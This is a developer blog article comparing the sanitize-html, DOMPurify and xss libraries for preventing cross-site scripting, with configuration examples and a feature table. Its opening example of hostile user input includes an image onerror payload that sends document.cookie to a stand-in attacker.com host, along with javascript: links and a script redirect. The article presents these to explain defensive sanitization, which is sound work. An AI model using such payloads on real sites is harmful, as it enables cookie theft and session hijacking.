Skip to main content

sanitize-html vs DOMPurify vs xss: XSS Prevention in JavaScript (2026)

·PkgPulse Team

TL;DR

sanitize-html is the best choice for server-side HTML sanitization (Node.js) — configurable allowlists for tags and attributes, used when processing user-submitted HTML like blog posts or comments. DOMPurify is the gold standard for client-side browser sanitization — DOM-based, extremely fast, handles edge cases that regex-based sanitizers miss, and powers many rich text editors. xss is a lightweight alternative with a simple API — good for basic use cases. In 2026: use sanitize-html on the server, DOMPurify in the browser, and never trust HTML from users without sanitization.

Key Takeaways

  • sanitize-html: ~3M weekly downloads — server-side (Node.js), configurable allowlists, actively maintained
  • dompurify: ~7M weekly downloads — browser-side (DOM-based), fastest, handles all bypass techniques
  • xss: ~2M weekly downloads — simpler API, both browser and server, allowlist/denylist approach
  • XSS attacks inject malicious <script> tags that steal cookies, redirect users, or hijack sessions
  • Never sanitize with regex alone — always use a dedicated library with DOM parsing
  • DOMPurify requires a DOM environment — use dompurify with jsdom for server-side use

The XSS Problem

<!-- User submits a comment with this HTML: -->
<p>Check out this article! <a href="javascript:document.cookie">Click here</a></p>
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<script>window.location = 'https://phishing.com'</script>
<style>body { display: none }</style>
<svg><animate onbegin="alert('XSS')"/></svg>

<!-- What SHOULD be rendered: -->
<p>Check out this article! <a href="...">Click here</a></p>
<!-- An image (if the src is valid) -->

<!-- What sanitizers do: -->
<!-- Remove <script>, <style>, event handlers (onerror, onbegin), -->
<!-- javascript: URLs, and dangerous attributes -->

sanitize-html

sanitize-html — server-side HTML sanitizer:

Basic usage

import sanitizeHtml from "sanitize-html"

// Simple sanitization with defaults (blocks almost everything):
const dirty = `<h1>Title</h1> <script>alert('xss')</script> <p>Text</p>`
const clean = sanitizeHtml(dirty)
// "<h1>Title</h1>  <p>Text</p>"  — script removed

// Custom allowlist — only allow specific tags and attributes:
const userInput = `
  <h2>My Blog Post</h2>
  <p>Visit <a href="https://example.com" onclick="steal()">this site</a></p>
  <img src="photo.jpg" onerror="malicious()" alt="Photo">
  <script>alert('xss')</script>
  <style>body { color: red }</style>
`

const safe = sanitizeHtml(userInput, {
  allowedTags: [
    "h1", "h2", "h3", "h4", "h5", "h6",
    "p", "br", "strong", "em", "u", "s",
    "ul", "ol", "li",
    "blockquote", "pre", "code",
    "a", "img",
    "table", "thead", "tbody", "tr", "th", "td",
  ],
  allowedAttributes: {
    "a": ["href", "title", "target"],
    "img": ["src", "alt", "width", "height"],
    "td": ["colspan", "rowspan"],
    "th": ["colspan", "rowspan", "scope"],
    "*": ["class"],  // Allow class on all elements
  },
  // Validate URLs:
  allowedSchemes: ["https", "http", "mailto"],
  allowedSchemesByTag: {
    img: ["https", "data"],  // Allow data: URLs for embedded images
  },
  // Remove invalid or empty attributes:
  allowedSchemesAppliedToAttributes: ["href", "src"],
})

// onclick, onerror are stripped — they're not in allowedAttributes
// <script> and <style> are removed — not in allowedTags
// javascript: href is removed — not in allowedSchemes

Rich text editor output sanitization

import sanitizeHtml from "sanitize-html"

// Common config for sanitizing output from rich text editors
// (Quill, TipTap, ProseMirror, Lexical):
const richTextConfig: sanitizeHtml.IOptions = {
  allowedTags: sanitizeHtml.defaults.allowedTags.concat([
    "img", "span", "del", "ins", "sup", "sub",
    "details", "summary", "figure", "figcaption",
  ]),
  allowedAttributes: {
    ...sanitizeHtml.defaults.allowedAttributes,
    "*": ["class", "style"],
    "a": ["href", "target", "rel"],
    "img": ["src", "alt", "width", "height", "loading"],
  },
  // Only allow safe CSS properties:
  allowedStyles: {
    "*": {
      "color": [/^#[0-9a-fA-F]{3,6}$/, /^rgb\(\d+,\s*\d+,\s*\d+\)$/],
      "text-align": [/^(left|right|center|justify)$/],
      "font-size": [/^\d+(\.\d+)?(px|em|rem)$/],
    },
  },
  // Transform allowed tags:
  transformTags: {
    // Convert all links to rel="noopener noreferrer" and target="_blank":
    "a": (tagName, attribs) => ({
      tagName,
      attribs: {
        ...attribs,
        rel: "noopener noreferrer",
        target: "_blank",
      },
    }),
  },
}

function sanitizeRichText(html: string): string {
  return sanitizeHtml(html, richTextConfig)
}

Sanitize in Express route

import express from "express"
import sanitizeHtml from "sanitize-html"
import { db } from "./db"

const app = express()
app.use(express.json())

// POST /api/comments
app.post("/api/comments", async (req, res) => {
  const { content, postId } = req.body

  if (!content || !postId) {
    return res.status(400).json({ error: "content and postId required" })
  }

  // Sanitize user content before storing:
  const sanitizedContent = sanitizeHtml(content, {
    allowedTags: ["p", "br", "strong", "em", "code", "pre", "a"],
    allowedAttributes: {
      "a": ["href"],
    },
    allowedSchemes: ["https", "http"],
  })

  const comment = await db.comment.create({
    data: {
      content: sanitizedContent,  // Store sanitized HTML
      postId,
      createdAt: new Date(),
    },
  })

  res.json(comment)
})

DOMPurify

DOMPurify — DOM-based client-side sanitizer:

Browser usage

import DOMPurify from "dompurify"

// Basic sanitization:
const dirty = `<img src=x onerror=alert(1)> <p onclick=steal()>Text</p>`
const clean = DOMPurify.sanitize(dirty)
// "<img src="x"> <p>Text</p>"

// DOMPurify is DOM-based — it creates a DOM node, lets the browser parse the HTML,
// then walks the DOM and removes dangerous elements/attributes.
// This is more secure than regex-based approaches because the browser's HTML parser
// handles edge cases that regex can't.

// Return as a string (default):
const html = DOMPurify.sanitize(userContent)

// Return as a DOM DocumentFragment:
const fragment = DOMPurify.sanitize(userContent, { RETURN_DOM_FRAGMENT: true })
document.getElementById("output")?.appendChild(fragment)

// Force parsing as HTML (vs default):
const result = DOMPurify.sanitize(userContent, { FORCE_BODY: true })

Configuration

import DOMPurify from "dompurify"

// Allow specific tags/attributes beyond defaults:
const result = DOMPurify.sanitize(content, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
  ALLOWED_ATTR: ["href", "class"],
})

// Allow only data-* attributes:
const withData = DOMPurify.sanitize(content, {
  ALLOW_DATA_ATTR: true,
})

// Add a hook — called for each node:
DOMPurify.addHook("afterSanitizeAttributes", (node) => {
  // Force all links to open in a new tab:
  if (node.tagName === "A") {
    node.setAttribute("target", "_blank")
    node.setAttribute("rel", "noopener noreferrer")
  }
})

React usage (safe innerHTML)

import DOMPurify from "dompurify"

interface SafeHtmlProps {
  html: string
  className?: string
}

// Safe dangerouslySetInnerHTML wrapper:
function SafeHtml({ html, className }: SafeHtmlProps) {
  const sanitized = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["p", "br", "strong", "em", "a", "ul", "li", "h1", "h2", "h3"],
    ALLOWED_ATTR: ["href", "class"],
  })

  return (
    <div
      className={className}
      dangerouslySetInnerHTML={{ __html: sanitized }}
    />
  )
}

// Usage:
<SafeHtml html={post.content} className="prose" />

Server-side with jsdom

// DOMPurify requires a DOM environment — on Node.js, use jsdom:
import { JSDOM } from "jsdom"
import DOMPurify from "dompurify"

const window = new JSDOM("").window
const purify = DOMPurify(window)

function sanitize(html: string): string {
  return purify.sanitize(html)
}

// Note: sanitize-html is usually better for server-side use
// DOMPurify + jsdom adds significant overhead

xss

xss — whitelist-based XSS sanitizer:

Basic usage

import xss from "xss"

// Default — removes most tags:
const clean = xss(userInput)

// Custom configuration:
const customXss = new xss.FilterXSS({
  whiteList: {
    a: ["href", "title", "target"],
    p: [],
    strong: [],
    em: [],
    br: [],
    ul: ["class"],
    li: [],
  },
  onTag(tag, html, options) {
    // Return null to remove the tag
    // Return html to keep it
  },
  onTagAttr(tag, name, value, isWhiteAttr) {
    // Return null to remove the attribute
    // Return a string to use that as the attribute value
    if (name === "href") {
      // Block javascript: URLs:
      if (/^javascript:/i.test(value.trim())) {
        return ""
      }
    }
  },
})

const result = customXss.process(userInput)

Feature Comparison

Featuresanitize-htmlDOMPurifyxss
Best environmentServer (Node.js)BrowserBoth
DOM-based parsing✅ (most secure)
CSS property sanitization
Tag transformation hooks
Zero dependencies✅ (browser)
jsdom supportN/A✅ (needed for Node)N/A
TypeScript
PerformanceGood⚡ Fastest (DOM)Good
Weekly downloads~3M~7M~2M

When to Use Each

Choose sanitize-html if:

  • Sanitizing HTML on the server before storing in a database
  • Processing user-submitted blog posts, comments, or rich text
  • Need to allow specific CSS styles (column for style)
  • Want to transform tags (e.g., auto-add rel="noopener" to all links)

Choose DOMPurify if:

  • Sanitizing in the browser before rendering (React's dangerouslySetInnerHTML)
  • Need the most secure approach — DOM parsing catches edge cases
  • Running in environments that already have a DOM (browser, Deno with DOM APIs)
  • Want zero dependencies in the browser

Choose xss if:

  • Simple use case with basic whitelist control
  • Need to run in both Node.js and browser without jsdom overhead
  • Building a comment system with minimal HTML allowed

Never do this:

// ❌ DON'T: Trust user HTML without sanitization:
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// ❌ DON'T: Use regex to strip tags — easily bypassed:
const bad = userInput.replace(/<script>.*?<\/script>/gi, "")
// Bypassed by: <sCrIpT>, <script/>, split across lines, etc.

// ❌ DON'T: Escape HTML for rich text (it removes all formatting):
const escaped = content.replace(/&/g, "&amp;").replace(/</g, "&lt;")
// User loses all their <b>, <p>, <a> formatting

// ✅ DO: Sanitize with a library:
const safe = sanitizeHtml(userContent, { allowedTags: [...], allowedAttributes: {...} })

Methodology

Download data from npm registry (weekly average, February 2026). Feature comparison based on sanitize-html v2.x, DOMPurify v3.x, and xss v1.x.

Compare security and content processing packages on PkgPulse →

Comments

Stay Updated

Get the latest package insights, npm trends, and tooling tips delivered to your inbox.